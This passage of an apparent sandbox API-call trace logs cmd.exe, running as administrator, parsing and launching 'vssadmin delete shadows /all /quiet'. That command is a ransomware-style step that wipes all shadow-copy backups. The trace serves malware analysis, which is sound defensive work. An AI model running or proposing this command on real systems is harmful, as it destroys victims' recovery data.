lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0157.411] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.411] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.411] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0157.411] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.411] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.411] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0157.411] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.411] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.411] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0157.412] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.412] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.412] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0157.412] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.412] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.412] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0157.412] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.412] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.412] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0157.412] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.412] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.412] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0157.412] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.412] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.412] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.412] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0157.412] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.412] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.413] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.413] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.413] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.413] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0157.413] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.413] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.413] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8e844ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0x8e844ffbc8*=0x1, lpOverlapped=0x0) returned 1 [0157.413] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0157.414] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.414] GetFileType (hFile=0x228) returned 0x3 [0157.414] _get_osfhandle (_FileHandle=0) returned 0x228 [0157.414] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.414] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.414] GetFileType (hFile=0x234) returned 0x3 [0157.414] _get_osfhandle (_FileHandle=1) returned 0x234 [0157.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0157.414] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6e1319970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x8e844ffb68, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0x8e844ffb68*=0x24, lpOverlapped=0x0) returned 1 [0157.414] GetProcessHeap () returned 0x262f5940000 [0157.414] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x4012) returned 0x262f5948bb0 [0157.414] GetProcessHeap () returned 0x262f5940000 [0157.414] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f5948bb0) returned 1 [0157.415] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0157.415] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0157.415] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0157.415] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0157.415] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0157.415] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0157.415] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0157.415] GetProcessHeap () returned 0x262f5940000 [0157.415] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xb0) returned 0x262f5946e30 [0157.416] GetProcessHeap () returned 0x262f5940000 [0157.416] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x22) returned 0x262f5946c60 [0157.416] GetProcessHeap () returned 0x262f5940000 [0157.416] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x48) returned 0x262f5948bb0 [0157.434] GetConsoleOutputCP () returned 0x1b5 [0157.443] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e131fbb0 | out: lpCPInfo=0x7ff6e131fbb0) returned 1 [0157.443] SetThreadUILanguage (LangId=0x0) returned 0x409 [0157.444] GetConsoleTitleW (in: lpConsoleTitle=0x8e844ff9b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0157.446] malloc (_Size=0xffce) returned 0x262f5b30840 [0157.446] ??_V@YAXPEAX@Z () returned 0x262f5b30840 [0157.447] malloc (_Size=0xffce) returned 0x262f5b40820 [0157.447] ??_V@YAXPEAX@Z () returned 0x262f5b40820 [0157.448] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0157.448] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0157.448] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0157.448] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0157.448] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0157.448] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0157.448] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0157.448] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0157.448] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0157.448] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0157.448] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0157.448] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0157.448] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0157.448] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0157.448] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0157.448] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0157.448] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0157.448] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0157.448] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0157.448] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0157.448] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0157.448] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0157.448] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0157.448] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0157.448] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0157.448] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0157.448] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0157.448] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0157.448] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0157.448] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0157.448] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0157.448] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0157.449] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0157.449] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0157.449] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0157.449] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0157.449] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0157.449] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0157.449] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0157.449] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0157.449] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0157.449] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0157.449] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0157.449] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0157.449] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0157.449] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0157.449] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0157.449] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0157.449] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0157.449] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0157.449] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0157.449] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0157.449] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0157.449] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0157.449] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0157.449] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0157.449] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0157.449] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0157.449] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0157.449] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0157.449] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0157.449] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0157.449] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0157.449] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0157.449] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0157.449] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0157.449] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0157.450] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0157.450] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0157.450] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0157.450] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0157.450] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0157.450] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0157.450] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0157.450] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0157.450] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0157.450] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0157.450] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0157.450] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0157.450] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0157.450] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0157.450] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0157.450] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0157.450] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0157.450] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0157.450] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0157.450] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0157.450] ??_V@YAXPEAX@Z () returned 0x1 [0157.450] GetProcessHeap () returned 0x262f5940000 [0157.450] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xffde) returned 0x262f5948c00 [0157.451] GetProcessHeap () returned 0x262f5940000 [0157.451] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x5a) returned 0x262f5958bf0 [0157.451] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0157.451] malloc (_Size=0xffce) returned 0x262f5b40820 [0157.451] ??_V@YAXPEAX@Z () returned 0x262f5b40820 [0157.452] GetProcessHeap () returned 0x262f5940000 [0157.452] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x1ffac) returned 0x262f5958c60 [0157.453] SetErrorMode (uMode=0x0) returned 0x0 [0157.453] SetErrorMode (uMode=0x1) returned 0x0 [0157.453] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x262f5958c70, lpFilePart=0x8e844ff230 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x8e844ff230*="system32") returned 0x13 [0157.453] SetErrorMode (uMode=0x0) returned 0x1 [0157.453] GetProcessHeap () returned 0x262f5940000 [0157.453] RtlReAllocateHeap (Heap=0x262f5940000, Flags=0x0, Ptr=0x262f5958c60, Size=0x4a) returned 0x262f5958c60 [0157.453] GetProcessHeap () returned 0x262f5940000 [0157.453] RtlSizeHeap (HeapHandle=0x262f5940000, Flags=0x0, MemoryPointer=0x262f5958c60) returned 0x4a [0157.453] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0157.453] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0157.453] GetProcessHeap () returned 0x262f5940000 [0157.453] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x1b4) returned 0x262f5958cc0 [0157.453] GetProcessHeap () returned 0x262f5940000 [0157.453] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x358) returned 0x262f5958e80 [0157.459] GetProcessHeap () returned 0x262f5940000 [0157.459] RtlReAllocateHeap (Heap=0x262f5940000, Flags=0x0, Ptr=0x262f5958e80, Size=0x1b6) returned 0x262f5958e80 [0157.459] GetProcessHeap () returned 0x262f5940000 [0157.459] RtlSizeHeap (HeapHandle=0x262f5940000, Flags=0x0, MemoryPointer=0x262f5958e80) returned 0x1b6 [0157.459] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e131bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0157.459] GetProcessHeap () returned 0x262f5940000 [0157.459] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0xe8) returned 0x262f5959050 [0157.459] GetProcessHeap () returned 0x262f5940000 [0157.459] RtlReAllocateHeap (Heap=0x262f5940000, Flags=0x0, Ptr=0x262f5959050, Size=0x7e) returned 0x262f5959050 [0157.459] GetProcessHeap () returned 0x262f5940000 [0157.459] RtlSizeHeap (HeapHandle=0x262f5940000, Flags=0x0, MemoryPointer=0x262f5959050) returned 0x7e [0157.460] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0157.460] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0x262f59590e0 [0157.460] GetProcessHeap () returned 0x262f5940000 [0157.460] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x0, Size=0x28) returned 0x262f5946a70 [0157.460] FindClose (in: hFindFile=0x262f59590e0 | out: hFindFile=0x262f59590e0) returned 1 [0157.461] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0xffffffffffffffff [0157.461] GetLastError () returned 0x2 [0157.461] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x8e844fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8e844fefa0) returned 0x262f59590e0 [0157.461] GetProcessHeap () returned 0x262f5940000 [0157.461] RtlReAllocateHeap (Heap=0x262f5940000, Flags=0x0, Ptr=0x262f5946a70, Size=0x8) returned 0x262f5946a70 [0157.461] FindClose (in: hFindFile=0x262f59590e0 | out: hFindFile=0x262f59590e0) returned 1 [0157.462] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0157.462] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0157.462] ??_V@YAXPEAX@Z () returned 0x1 [0157.462] GetConsoleTitleW (in: lpConsoleTitle=0x8e844ff520, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0157.508] GetProcessHeap () returned 0x262f5940000 [0157.508] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x21c) returned 0x262f59590e0 [0157.508] GetConsoleTitleW (in: lpConsoleTitle=0x262f59590f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0157.557] GetProcessHeap () returned 0x262f5940000 [0157.557] RtlReAllocateHeap (Heap=0x262f5940000, Flags=0x0, Ptr=0x262f59590e0, Size=0xc2) returned 0x262f59590e0 [0157.557] GetProcessHeap () returned 0x262f5940000 [0157.557] RtlSizeHeap (HeapHandle=0x262f5940000, Flags=0x0, MemoryPointer=0x262f59590e0) returned 0xc2 [0157.557] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0157.638] GetProcessHeap () returned 0x262f5940000 [0157.638] RtlFreeHeap (HeapHandle=0x262f5940000, Flags=0x0, BaseAddress=0x262f59590e0) returned 1 [0157.638] InitializeProcThreadAttributeList (in: lpAttributeList=0x8e844ff440, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8e844ff330 | out: lpAttributeList=0x8e844ff440, lpSize=0x8e844ff330) returned 1 [0157.638] UpdateProcThreadAttribute (in: lpAttributeList=0x8e844ff440, dwFlags=0x0, Attribute=0x60001, lpValue=0x8e844ff31c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8e844ff440, lpPreviousValue=0x0) returned 1 [0157.638] GetStartupInfoW (in: lpStartupInfo=0x8e844ff3d0 | out: lpStartupInfo=0x8e844ff3d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234)) [0157.638] GetProcessHeap () returned 0x262f5940000 [0157.638] RtlAllocateHeap (HeapHandle=0x262f5940000, Flags=0x8, Size=0x20) returned 0x262f5946ef0 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0157.638] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0157.639] _wcsnicmp (_String1="COPYCMD", 